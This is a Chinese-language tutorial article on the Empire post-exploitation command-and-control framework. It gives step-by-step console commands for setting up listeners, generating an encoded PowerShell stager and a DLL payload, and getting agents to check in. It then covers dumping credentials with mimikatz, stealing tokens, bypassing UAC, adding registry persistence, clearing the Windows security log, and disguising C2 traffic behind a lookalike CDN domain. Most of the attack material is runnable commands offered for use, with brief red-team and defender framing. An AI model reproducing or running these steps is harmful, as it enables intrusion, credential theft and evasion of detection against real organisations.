
1. 项目概述一个红队协作的“帝国”如果你在网络安全领域特别是渗透测试和红队演练中摸爬滚打过一段时间那么你大概率听说过Empire。它不是一个简单的漏洞扫描器也不是一个单功能的远控木马而是一个功能齐全、模块化、可扩展的后渗透框架。简单来说它就像红队队员手中的一个“瑞士军刀”工具箱一旦在目标系统上获得了一个初始立足点比如通过钓鱼邮件、Web漏洞拿到一个ShellEmpire就能帮你把这个小小的入口扩展成一个功能强大的“帝国”。Empire的核心设计理念是“协作”与“模块化”。它采用客户端-服务器C2架构提供了一个中心化的命令与控制C2服务器红队成员可以通过Web界面或命令行客户端连接到这个服务器统一管理所有已植入目标系统的“代理”Agent。每个代理都像是一个潜伏在目标网络中的“特工”接收来自C2服务器的指令执行任务并回传结果。这种设计使得多人协作、大规模渗透测试成为可能所有操作和结果都集中记录避免了信息孤岛。这个项目最初由harmj0y、sixdub等安全研究员在2015年发布迅速在红队社区中流行开来。它用Python编写借鉴了Metasploit和Powershell Empire一个独立的、基于Powershell的项目的一些思想但形成了自己独特的风格。它支持多种通信协议HTTP/HTTPS/DNS、多种载荷Stagers和模块Modules能够绕过常见的杀毒软件AV和终端检测与响应EDR产品是红队进行内网横向移动、权限提升、信息收集和持久化控制的利器。2. 核心架构与通信原理拆解要玩转Empire必须理解它的三层架构和通信流程。这不仅是使用的基础更是排查问题和进行自定义扩展的关键。2.1 三层架构解析Empire的架构清晰地区分了三个角色监听器Listener、代理Agent和模块Module。监听器Listener这是C2服务器的“耳朵”和“嘴巴”。它运行在C2服务器上负责监听来自互联网或内网的特定端口如80、443、53等待被植入目标的代理回连。你可以把它想象成一个秘密的指挥中心无线电频道。Empire支持多种监听器最常见的是HTTP/HTTPS监听器它们伪装成正常的Web流量还有DNS监听器利用DNS查询和响应来传输数据隐蔽性更强。代理Agent这是运行在目标系统上的“卧底”。它通常是一个轻量级的、经过混淆的脚本如Python、PowerShell、C#编译的二进制文件。代理的核心任务是1. 定期或按需向监听器发起“心跳”或“任务拉取”请求2. 接收监听器下发的任务指令通常是模块名和参数3. 在本地执行这些任务4. 将任务执行结果加密后回传给监听器。一个C2服务器可以管理成百上千个代理每个代理都有唯一的ID和会话信息。模块Module这是Empire的“武器库”。模块是具体功能的实现比如“窃取浏览器密码”、“抓取系统屏幕截图”、“进行ARP欺骗”、“转储LSASS进程内存以获取明文密码”等。模块由C2服务器管理当操作者选择一个模块并设置好参数后C2服务器会将该模块的代码“注入”到任务指令中下发给指定的代理执行。模块化设计使得Empire的功能可以无限扩展社区也贡献了大量第三方模块。2.2 通信流程与隐蔽性设计一次典型的任务执行流程如下上线攻击者通过漏洞利用、社会工程学等方式在目标主机上执行了一个Empire生成的“Stager”一段简短的引导代码。这段代码会向预设的监听器地址发起请求下载完整的“Agent”载荷并执行。此时代理在C2服务器上线。任务下发操作者在Empire控制台中选择一个已上线的代理输入命令如usemodule credentials/mimikatz/lsadump并设置参数。指令传递C2服务器将模块代码和参数打包、加密生成一个任务。当代理下一次发起“心跳”请求如访问一个特定的URL/admin/get.php时服务器将任务作为响应返回。本地执行代理在内存中解密并执行接收到的任务代码。关键点在于很多模块尤其是PowerShell模块采用“无文件”技术代码直接在内存中加载执行不落地磁盘极大增加了检测难度。结果回传任务执行完毕后代理将输出结果加密通过下一次“心跳”的POST请求如发送到/admin/post.php回传给C2服务器。结果显示操作者在控制台看到返回的结果。为了绕过防御Empire内置了许多“混淆”和“逃逸”技术流量伪装HTTP/HTTPS监听器可以自定义请求头、URI路径、返回页面内容使其看起来像正常的网站流量。例如可以将通信路径设置为/wp-admin/css/style.css并返回一个伪造的404页面或正常图片内容来隐藏真实数据。代码混淆生成的PowerShell载荷会经过多次编码Base64、XOR、自定义编码和字符串分割以绕过基于静态签名的杀毒软件。睡眠与抖动可以设置代理的“睡眠时间”Sleep和“抖动百分比”Jitter。例如睡眠时间设为5秒抖动20%那么代理的实际请求间隔会在4-6秒之间随机变化避免产生规律的、易于被流量分析设备识别的通信模式。注意尽管Empire具备较强的隐蔽能力但现代EDR和网络流量分析NTA系统可以通过行为检测、异常流量模式识别等方式发现其活动。因此在真实的红队评估中需要根据目标环境的安全水位对Empire的默认配置进行深度定制。3. 从零搭建到第一个代理上线理论讲得再多不如动手实践。下面我们从一个干净的Linux系统开始搭建一个Empire C2服务器并生成一个载荷模拟获得第一个代理的过程。3.1 环境准备与安装Empire主要运行在Linux系统上推荐Kali Linux、Ubuntu通过Python 3.7环境运行。步骤1克隆项目与安装依赖# 1. 克隆Empire项目仓库 git clone https://github.com/EmpireProject/Empire.git cd Empire # 2. 运行安装脚本。这个脚本会自动安装所需的Python包并设置一些基础配置。 # 使用 --rest 参数可以同时安装RESTful API的依赖便于与其他工具集成。 sudo ./setup/install.sh安装脚本会处理大部分依赖如pip3包的安装。如果遇到问题通常是缺少系统库可以尝试手动安装# 对于基于Debian的系统如Kali, Ubuntu sudo apt-get update sudo apt-get install -y python3-dev python3-pip build-essential libssl-dev libffi-dev步骤2启动Empire服务器安装完成后进入Empire目录使用以下命令启动sudo ./empire首次启动会创建一个数据库并生成用于通信加密的SSL证书。你会看到一个充满ASCII艺术字“Empire”的启动界面并进入(Empire) 提示符的命令行控制台。步骤3基础配置与创建监听器启动后我们首先需要创建一个监听器告诉Empire我们的C2服务器在哪里、以什么方式接收代理连接。# 在Empire控制台中操作 (Empire) listeners (Empire: listeners) uselistener http # 选择使用HTTP监听器最常用 (Empire: listeners/http) set Name MyHttpListener # 为监听器命名 (Empire: listeners/http) set Host http://your_c2_ip:80 # 设置C2服务器的IP和端口 (Empire: listeners/http) set Port 80 # 监听端口 (Empire: listeners/http) execute # 启动监听器your_c2_ip需要替换为你C2服务器的公网IP或内网IP。如果服务器在公网需要确保防火墙开放了对应端口如80。3.2 生成载荷与代理上线监听器就绪后下一步是生成一个能让目标机器回连的“诱饵”即Stager。步骤4生成一个PowerShell载荷在Empire中我们通常使用stager来生成初始载荷。(Empire) usestager multi/launcher # 使用通用的启动器生成器 (Empire: stager/multi/launcher) set Listener MyHttpListener # 指定使用我们刚创建的监听器 (Empire: stager/multi/launcher) generate # 生成载荷执行generate后控制台会输出一段经过Base64编码的PowerShell命令。这段命令就是我们的“武器”。它看起来像这样powershell -e JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA步骤5在目标机器执行载荷模拟攻击场景我们通过某种方式如钓鱼邮件中的宏、被攻破的Web应用让目标Windows用户执行了上面这段PowerShell命令。步骤6观察代理上线一旦命令在目标机器执行成功几秒内你会在Empire控制台看到提示[*] Sending POWERSHELL stager (stage 1) to 192.168.1.105 [*] New agent Y4L3F9 checked in [] Initial agent Y4L3F9 from 192.168.1.105 now active这表示一个名为Y4L3F9的代理已经成功上线你现在可以与之交互了。步骤7与代理交互(Empire) agents # 列出所有活跃代理 (Empire) interact Y4L3F9 # 与指定代理进行交互进入该代理的上下文 (Empire: Y4L3F9) # 提示符变化表示现在所有命令都将发送给这个代理 (Empire: Y4L3F9) help # 查看在该代理上可用的命令 (Empire: Y4L3F9) shell whoami # 执行一个简单的系统命令查看当前权限 (Empire: Y4L3F9) sysinfo # 使用Empire内置命令查看系统信息至此你已经完成了从搭建到获得第一个Shell的完整流程。这个代理就是你深入目标网络的跳板。4. 核心模块实战内网渗透三板斧获得初始立足点后红队工作的核心是“横向移动”和“权限提升”最终目标是获取域控权限或核心数据。Empire提供了海量模块来完成这些任务。我们重点剖析三个最经典、最实用的场景。4.1 信息收集摸清家底在横向移动前必须充分了解当前主机和所在网络环境。盲目行动极易触发告警。使用situational_awareness模块(Empire: Y4L3F9) usemodule situational_awareness/network/powerview/get_user # 获取域用户列表 (Empire: situational_awareness/network/powerview/get_user) set Filter admin* # 可设置过滤条件如查找管理员 (Empire: situational_awareness/network/powerview/get_user) execute这个模块会调用PowerView一个强大的PowerShell内网信息收集工具的函数从域控制器获取用户列表。返回结果包含用户名、SID、描述等信息是绘制攻击路径的基础。使用situational_awareness/host/winenum模块 这是一个“一站式”主机信息收集模块强烈推荐在刚上线时运行。(Empire: Y4L3F9) usemodule situational_awareness/host/winenum (Empire: situational_awareness/host/winenum) execute它会收集包括系统信息、已安装软件、进程列表、网络连接、共享文件夹、计划任务、登录用户历史、浏览器历史等数十项信息。结果以清晰的结构返回是快速评估主机价值和安全状态的利器。实操心得信息收集模块通常会产生大量日志和网络流量。在生产环境中建议分阶段、有针对性地收集避免一次性运行winenum这种“大杀器”而引起注意。可以先运行net localgroup administrators或whoami /priv快速判断当前权限再决定下一步。4.2 权限提升获取系统权限初始代理可能只是一个普通用户权限。我们需要提升到SYSTEM或管理员权限以便进行更深层次的操作。使用privesc/bypassuac模块 如果当前用户是本地管理员组成员但进程不是以高权限运行即没有“盾牌”图标UAC用户账户控制会阻止直接获取SYSTEM权限。这时需要绕过UAC。(Empire: Y4L3F9) usemodule privesc/bypassuac (Empire: privesc/bypassuac) set Listener MyHttpListener # 设置一个用于接收高权限代理的监听器 (Empire: privesc/bypassuac) execute此模块会利用Windows白名单程序如fodhelper.exe,eventvwr.exe的DLL劫持或注册表键值漏洞在用户不知情的情况下启动一个高权限的Empire代理。执行成功后你会看到一个新的、具有高权限的代理上线。使用privesc/powerup/allchecks模块 这是另一个神器。它运行PowerUp.ps1脚本自动检测主机上所有常见的权限提升漏洞。(Empire: Y4L3F9) usemodule privesc/powerup/allchecks (Empire: privesc/powerup/allchecks) execute它会检查服务二进制文件路径可写、未引用的服务路径、AlwaysInstallElevated、计划任务、注册表自动启动项、脆弱的DLL文件等。如果发现漏洞它会直接标记为[!]并给出利用建议。例如它可能发现一个服务以SYSTEM运行但其可执行文件路径普通用户可写那么你就可以替换该文件等服务重启或系统重启后获得SYSTEM权限。4.3 横向移动扩大战果假设我们已在一台办公网PC上获得高权限现在需要向服务器或域控进军。使用credentials/mimikatz/lsadump模块抓取密码哈希 这是内网横向移动的“核武器”。Mimikatz可以从LSASS进程内存中提取登录凭证。(Empire: Y4L3F9) usemodule credentials/mimikatz/lsadump (Empire: credentials/mimikatz/lsadump) execute如果成功你将看到NTML哈希NTLM Hash甚至可能是明文密码。对于Windows系统掌握了哈希就等于掌握了密码可以通过Pass-the-Hash攻击。使用credentials/tokens模块窃取令牌 Windows的令牌Token是访问控制的核心。如果当前进程有域管理员的令牌我们可以直接“变成”他。(Empire: Y4L3F9) usemodule credentials/tokens (Empire: credentials/tokens) set Action list # 先列出所有可用的令牌 (Empire: credentials/tokens) execute查看输出寻找带有DELEGATION或IMPERSONATION权限的域管理员令牌。找到后(Empire: credentials/tokens) set Action steal # 设置为窃取 (Empire: credentials/tokens) set TokenId 找到的TokenID # 填入目标Token的ID (Empire: credentials/tokens) execute窃取成功后当前代理的上下文就切换到了那个高权限用户之后的所有操作都将以该用户身份进行。使用powershell/persistence/elevated/registry模块建立持久化 在拿下重要主机后必须建立持久化访问防止权限丢失。(Empire: Y4L3F9) usemodule powershell/persistence/elevated/registry (Empire: powershell/persistence/elevated/registry) set Listener MyHttpListener (Empire: powershell/persistence/elevated/registry) set DailyTime 09:00 # 设置每天触发时间 (Empire: powershell/persistence/elevated/registry) execute此模块会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run或类似位置添加一个键值使得系统启动或用户登录时Empire代理会自动运行。5. 高级配置与隐蔽强化默认配置的Empire在稍有安全建设的网络中很容易被发现。要让它在真实的红队评估中存活更久必须进行深度定制。5.1 监听器与通信协议定制HTTPS与证书伪装 始终使用HTTPS代替HTTP。Empire在安装时已生成自签名证书但这很容易被识别。最佳实践是使用与目标环境相符的域名和证书。购买或申请一个看起来正常的域名如cdn.update-system.com。为该域名申请免费的SSL证书如Lets Encrypt。在创建HTTPS监听器时将证书和密钥文件路径指向这些文件。(Empire: listeners) uselistener https (Empire: listeners/https) set Host https://cdn.update-system.com (Empire: listeners/https) set CertPath /path/to/your/cert.pem (Empire: listeners/https) set KeyPath /path/to/your/privkey.pem这样你的C2流量在流量审计设备看来就是与一个合法CDN节点的加密通信。自定义请求头与响应 模仿真实的软件更新或API流量。(Empire: listeners/http) set DefaultProfile /api/v1/check|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36|/admin/get.php,/news.php这个DefaultProfile是关键。它用|分隔定义了GET请求的URI路径/api/v1/check用户代理User-AgentMozilla/5.0...POST请求的URI路径/admin/get.php,/news.php多个路径随机使用 你还可以通过set Headers命令添加自定义HTTP头如X-Requested-With: XMLHttpRequest来模仿Ajax请求。5.2 载荷生成与混淆使用stager的OutFile参数 不要总是用那段Base64的PowerShell命令。可以生成二进制的可执行文件.exe或DLL文件。(Empire: stager) usestager windows/dll # 生成DLL (Empire: stager/windows/dll) set Listener MyHttpsListener (Empire: stager/windows/dll) set OutFile /tmp/payload.dll (Empire: stager/windows/dll) generate生成的DLL可以通过多种方式加载如regsvr32、rundll32、DLL劫持比PowerShell命令更灵活。调整睡眠与抖动 这是对抗流量行为分析的核心。较长的睡眠时间和较大的抖动更隐蔽但交互性变差。(Empire: listeners) set DefaultDelay 60 # 默认睡眠时间改为60秒 (Empire: listeners) set DefaultJitter 0.3 # 抖动30%即实际睡眠在42-78秒间随机对于已经上线的代理可以在交互模式下单独修改(Empire: Y4L3F9) set Delay 30 (Empire: Y4L3F9) set Jitter 0.2使用obfuscate命令 Empire内置了Invoke-Obfuscation的部分功能可以对模块代码进行混淆。(Empire: credentials/mimikatz/lsadump) obfuscate执行后该模块的PowerShell代码会被混淆然后再下发执行能绕过一些简单的静态检测。5.3 日志清理与反溯源红队行动不仅要进得来还要走得干净不留痕迹。清理事件日志(Empire: Y4L3F9) usemodule management/powershell/eventlog (Empire: management/powershell/eventlog) set Method clear # 设置为清理 (Empire: management/powershell/eventlog) set LogName security # 清理安全日志最敏感 (Empire: management/powershell/eventlog) execute警告大规模清理日志本身就是一种非常可疑的行为可能触发安全告警。应权衡利弊或只清理与自身活动相关的特定事件ID。删除自身持久化项 在行动结束前移除之前添加的注册表键值、计划任务等。# 假设之前用registry模块添加了持久化键名为Updater (Empire: Y4L3F9) shell reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f退出并杀死代理 任务完成后安全退出。(Empire: Y4L3F9) exit # 退出与当前代理的交互回到主菜单 (Empire) agents (Empire) kill Y4L3F9 # 向代理发送自杀指令代理进程会自行退出kill命令会尝试让代理进程优雅退出并删除自身。但更彻底的做法是结合shell命令手动结束相关进程、删除相关文件。6. 常见问题与排查实录即使按照教程操作在实际使用中你也会遇到各种问题。下面是我在多次使用中踩过的坑和解决方案。6.1 代理无法上线这是最常见的问题。问题现象可能原因排查步骤与解决方案执行载荷后Empire控制台无任何反应。1. 网络不通。2. 监听器配置错误IP/端口。3. 目标出网策略限制。4. 载荷被终端安全软件拦截。1.检查网络从目标机器ping或curl你的C2服务器IP和端口看是否可达。2.检查监听器在C2服务器运行netstat -tulnp | grep :80确认监听器进程在正确端口监听。3.检查防火墙确保C2服务器的防火墙如ufw,iptables允许对应端口入站。4.使用更隐蔽的协议尝试使用DNS监听器端口53通常开放或HTTP监听器使用80/443端口。5.测试载荷先在C2服务器本机或同一内网的测试机上执行生成的载荷排除载荷本身问题。提示[!] Agent failed to check in。1. 代理与监听器的通信Profile不匹配。2. 代理进程意外退出。1.核对Profile确保生成载荷stager时指定的Listener名称与运行的监听器名称完全一致区分大小写。2.查看详细日志在Empire启动时加上--debug 2参数查看更详细的通信日志。3.检查目标环境目标机器是否安装了杀软尝试对载荷进行更高级的混淆或使用二进制格式exe/dll。6.2 模块执行失败或返回空成功上线后执行模块没结果。问题现象可能原因排查步骤与解决方案执行shell whoami等命令无返回。1. 代理进程权限不足无法创建新进程。2. 命令执行被策略限制。1.检查代理权限使用sysinfo查看High Integrity字段是否为1高权限。如果不是先进行权限提升。2.尝试内置命令先使用Empire内置的ls、pwd非shell命令测试这些是PowerShell实现的不创建新进程。3.检查执行策略在代理上执行shell Get-ExecutionPolicy如果受限尝试shell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass。执行mimikatz相关模块失败。1. 杀软/EDR内存防护如AMSI, Protected Process Light。2. Mimikatz签名被识别。3. 系统版本或架构问题。1.尝试绕过使用privesc/bypassuac或privesc/ask获取更高权限后再试。2.使用替代模块尝试使用credentials/powerdump或credentials/secretsdump基于DCSync需要域控权限。3.手动执行使用shell命令手动下载并执行经过混淆或源码编译的Mimikatz变种。信息收集模块返回No result或部分数据缺失。1. 模块依赖的PowerShell函数在目标系统不存在。2. 网络策略限制访问域控或相关服务。1.检查模块依赖在Empire中使用info命令查看模块说明看是否有特殊依赖。2.分步手动执行将复杂的模块拆解用shell或powershell命令手动执行其中的关键PowerShell命令定位失败点。3.使用通用命令先用shell net user /domain、shell net group domain admins /domain等基础命令验证网络和权限。6.3 Empire服务器管理问题问题解决方案忘记Empire控制台密码Empire默认无需密码。如果设置了REST API密码密码文件位于/opt/Empire/downloads/empire.db或安装目录下的data/empire.db。可以停止Empire删除或重命名该文件重启后恢复默认。如何更新Empire或模块进入Empire目录执行git pull拉取最新代码然后重新运行安装脚本./setup/install.sh。注意更新可能破坏现有配置生产环境慎用。多用户协作启动Empire时使用sudo ./empire --rest --usernameadmin --passwordyourpass开启REST API。团队成员可以通过Web界面默认端口1337或各自的Empire客户端连接同一个服务器共享代理和结果。数据库文件过大长期运行后empire.db文件会增长。可以定期备份后清空agents和results等表或使用sqlite3命令进行清理。也可以修改源码中的日志记录级别。6.4 我的独家避坑技巧“测试先行”原则任何新的模块或攻击手法务必先在隔离的实验室环境如VirtualBox搭建的域环境中测试成功再用于真实评估。Empire的模块并非百分百稳定有些可能因系统版本、补丁、安全软件而导致蓝屏或行为异常。“最小化”原则只运行必要的模块。每个模块的执行都会增加暴露风险。能用shell net user查到的信息就不要运行庞大的winenum模块。“流量模仿”原则定制监听器时花时间分析目标网络出口的正常流量。找一个他们经常访问的外部服务如云存储、办公软件API将你的C2域名和URL路径模仿得越像越好。“清理自动化”在编写用于自动化横向移动的脚本时把清理命令如删除临时文件、清除特定事件日志也写进去形成“部署-执行-清理”的闭环避免遗忘。“善用备注”Empire支持给代理rename和任务结果添加备注。在大型项目中给不同部门、不同用途的代理起好名字如HR-PC01,WEB-SRV能极大提高协作效率。Empire是一个极其强大的框架但能力越大责任越大。它清晰地揭示了现代网络攻击的自动化、协作化趋势。对于防御者而言理解Empire的工作原理和攻击链是构建有效检测和响应策略的基础。对于学习和从事渗透测试、红队演练的朋友深入掌握Empire无疑是职业道路上的一块重要基石。记住工具永远只是思想的延伸真正的核心在于对系统、网络和安全原理的深刻理解。